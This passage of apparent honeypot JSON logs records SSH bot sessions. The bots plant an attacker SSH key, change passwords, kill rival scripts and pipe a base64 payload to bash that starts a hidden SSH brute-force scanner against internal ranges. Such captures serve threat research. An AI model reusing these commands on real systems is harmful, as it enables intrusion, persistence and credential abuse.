-m"},{"seq":18,"at":"2026-08-22T18:49:36.492609+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T18:49:37.682594+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T18:49:37.683209+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T18:49:38.194312+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T18:49:38.195204+00:00","kind":"output","latency_ms":null,"data":"top - 18:49:38 up 2 days, 15:39, 0 user, load average: 0.27, 0.3, 0.2\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T18:49:38.666285+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T18:49:38.666843+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T18:49:38.913188+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T18:49:38.913651+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T18:49:39.874798+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T18:49:39.875500+00:00","kind":"output","latency_ms":null,"data":"suporte"},{"seq":29,"at":"2026-08-22T18:49:40.771156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T18:49:41.824033+00:00","kind":"output","latency_ms":1052,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-22T18:49:41.890455+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T18:49:42.324339+00:00","kind":"output","latency_ms":430,"data":"24G"},{"seq":33,"at":"2026-08-22T18:49:50.782167+00:00","kind":"input","latency_ms":null,"data":"echo \"suporte 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T18:49:51.233218+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T18:49:51.757763+00:00","kind":"output","latency_ms":521,"data":""},{"seq":36,"at":"2026-08-22T18:49:53.847967+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T18:49:54.776904+00:00","kind":"output","latency_ms":929,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-22T18:49:55.017644+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T18:49:55.603812+00:00","kind":"output","latency_ms":585,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T18:49:56.114189+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T18:49:57.073043+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T18:49:57.811090+00:00","kind":"output","latency_ms":737,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-22T18:50:01.456896+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T18:50:01.968207+00:00","kind":"output","latency_ms":509,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T18:50:04.210559+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T18:50:04.718398+00:00","kind":"output","latency_ms":507,"data":""},{"seq":47,"at":"2026-08-22T18:50:13.443095+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T18:50:13.443705+00:00","kind":"output","latency_ms":null,"data":"suporte"}],"credentials":[{"username":"suporte","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"f0f09920-b4c1-4d19-92d8-fdac78e39488","name":"solar-cheerful-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"103.134.154.195","src_port":46574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":791,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T15:42:34.931139+00:00","ended_at":"2026-08-22T15:42:35.179940+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3563,"events":[{"seq":1,"at":"2026-08-22T15:41:50.179193+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T15:41:50.654306+00:00","kind":"output","latency_ms":475,"data":"-bash: lockr: command not found"},{"seq":3,"at":"2026-08-22T15:41:51.693230+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-22T15:41:58.700243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-22T15:41:58.700729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-22T15:41:59.491806+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oNGOvpubQjmx\"|chpasswd|bash"},{"seq":7,"at":"2026-08-22T15:42:00.042255+00:00","kind":"output","latency_ms":547,"data":""},{"seq":8,"at":"2026-08-22T15:42:00.285505+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-22T15:42:01.074047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-22T15:42:01.074520+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-22T15:42:01.866247+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-22T15:42:02.430923+00:00","kind":"output","latency_ms":564,"data":"15888 8124 5764 1032 968 0"},{"seq":13,"at":"2026-08-22T15:42:03.219908+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-22T15:42:03.747306+00:00","kind":"output","latency_ms":526,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-22T15:42:04.537807+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T15:42:04.538246+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-22T15:42:05.331408+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-22T15:42:05.331820+00:00","kind":"output","latency_ms":null,"data":" 15:42:05 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-22T15:42:06.127031+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-22T15:42:06.127479+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-22T15:42:06.916966+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-22T15:42:06.917850+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-22T15:42:07.867238+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-22T15:42:07.867942+00:00","kind":"output","latency_ms":null,"data":"top - 15:42:07 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-22T15:42:08.659130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-22T15:42:08.659840+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-22T15:42:09.450179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-22T15:42:09.450660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-22T15:42:10.243435+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-22T15:42:10.252047+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-22T15:42:11.043041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-22T15:42:11.622912+00:00","kind":"output","latency_ms":580,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-22T15:42:12.412797+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-22T15:42:12.927883+00:00","kind":"output","latency_ms":513,"data":"24G"},{"seq":35,"at":"2026-08-22T15:42:15.414168+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123!!!\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-22T15:42:16.202942+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-22T15:42:16.677257+00:00","kind":"output","latency_ms":473,"data":""},{"seq":38,"at":"2026-08-22T15:42:19.030842+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T15:42:19.529505+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T15:42:20.329572+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T15:42:20.837580+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-22T15:42:21.631344+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T15:42:22.421023+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T15:42:23.112749+00:00","kind":"output","latency_ms":691,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T15:42:23.902551+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-22T15:42:24.338865+00:00","kind":"output","latency_ms":434,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-22T15:42:25.131278+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-22T15:42:25.560333+00:00","kind":"output","latency_ms":427,"data":""},{"seq":49,"at":"2026-08-22T15:42:34.932498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":50,"at":"2026-08-22T15:42:34.933138+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123!!!","method":"password","accepted":true,"tier":"other"}]} {"id":"7207bd6d-f105-44ce-ad44-2ecdc0e17b8e","name":"supple-lunar-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"81.192.46.36","src_port":58294,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":373,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T14:19:36.840359+00:00","ended_at":"2026-08-22T14:19:36.951750+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3814,"events":[{"seq":1,"at":"2026-08-22T14:19:08.742360+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T14:19:09.121936+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T14:19:12.666968+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T14:19:12.667525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T14:19:13.035265+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jP9Gd70SQ2Zh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T14:19:13.414057+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-22T14:19:13.783373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T14:19:13.783999+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T14:19:14.154802+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T14:19:14.227312+00:00","kind":"output","latency_ms":1192,"data":""},{"seq":11,"at":"2026-08-22T14:19:14.872214+00:00","kind":"output","latency_ms":717,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-22T14:19:15.246045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T14:19:15.842237+00:00","kind":"output","latency_ms":595,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T14:19:16.209789+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T14:19:16.210331+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T14:19:16.580288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T14:19:16.580949+00:00","kind":"output","latency_ms":null,"data":" 14:19:16 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T14:19:16.949860+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T14:19:16.950500+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T14:19:17.323591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T14:19:17.324125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T14:19:17.699494+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T14:19:17.700091+00:00","kind":"output","latency_ms":null,"data":"top - 14:19:17 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T14:19:18.066580+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T14:19:18.067070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T14:19:18.438629+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T14:19:18.439087+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T14:19:18.822227+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T14:19:18.823115+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T14:19:19.206140+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T14:19:20.146363+00:00","kind":"output","latency_ms":941,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-22T14:19:20.521580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T14:19:21.472010+00:00","kind":"output","latency_ms":950,"data":"25G"},{"seq":34,"at":"2026-08-22T14:19:22.726873+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T14:19:23.104318+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T14:19:23.486775+00:00","kind":"output","latency_ms":384,"data":""},{"seq":37,"at":"2026-08-22T14:19:24.429181+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T14:19:25.074778+00:00","kind":"output","latency_ms":644,"data":"root 123456123456"},{"seq":39,"at":"2026-08-22T14:19:25.453082+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T14:19:26.081168+00:00","kind":"output","latency_ms":628,"data":"root 123456123456"},{"seq":41,"at":"2026-08-22T14:19:26.447876+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T14:19:26.815932+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T14:19:27.329341+00:00","kind":"output","latency_ms":512,"data":"root 123456123456"},{"seq":44,"at":"2026-08-22T14:19:27.694920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T14:19:28.136778+00:00","kind":"output","latency_ms":437,"data":"root 123456123456"},{"seq":46,"at":"2026-08-22T14:19:28.506310+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T14:19:28.947525+00:00","kind":"output","latency_ms":439,"data":""},{"seq":48,"at":"2026-08-22T14:19:36.841265+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-22T14:19:36.841800+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456123456","method":"password","accepted":true,"tier":"other"}]} {"id":"fd12e7ec-8d7d-4402-b538-0a87cd5d9eeb","name":"lawful-salty-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"41.204.82.238","src_port":39654,"username":"sagar","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T05:11:42.404059+00:00","ended_at":"2026-08-22T05:11:42.563531+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3371,"events":[{"seq":1,"at":"2026-08-22T05:11:07.622169+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T05:11:08.148601+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T05:11:13.974374+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T05:11:13.975085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T05:11:14.500881+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sagar\\nByh65z8LoLTm\\nByh65z8LoLTm\"|passwd|bash"},{"seq":6,"at":"2026-08-22T05:11:15.025315+00:00","kind":"input","latency_ms":null,"data":"echo 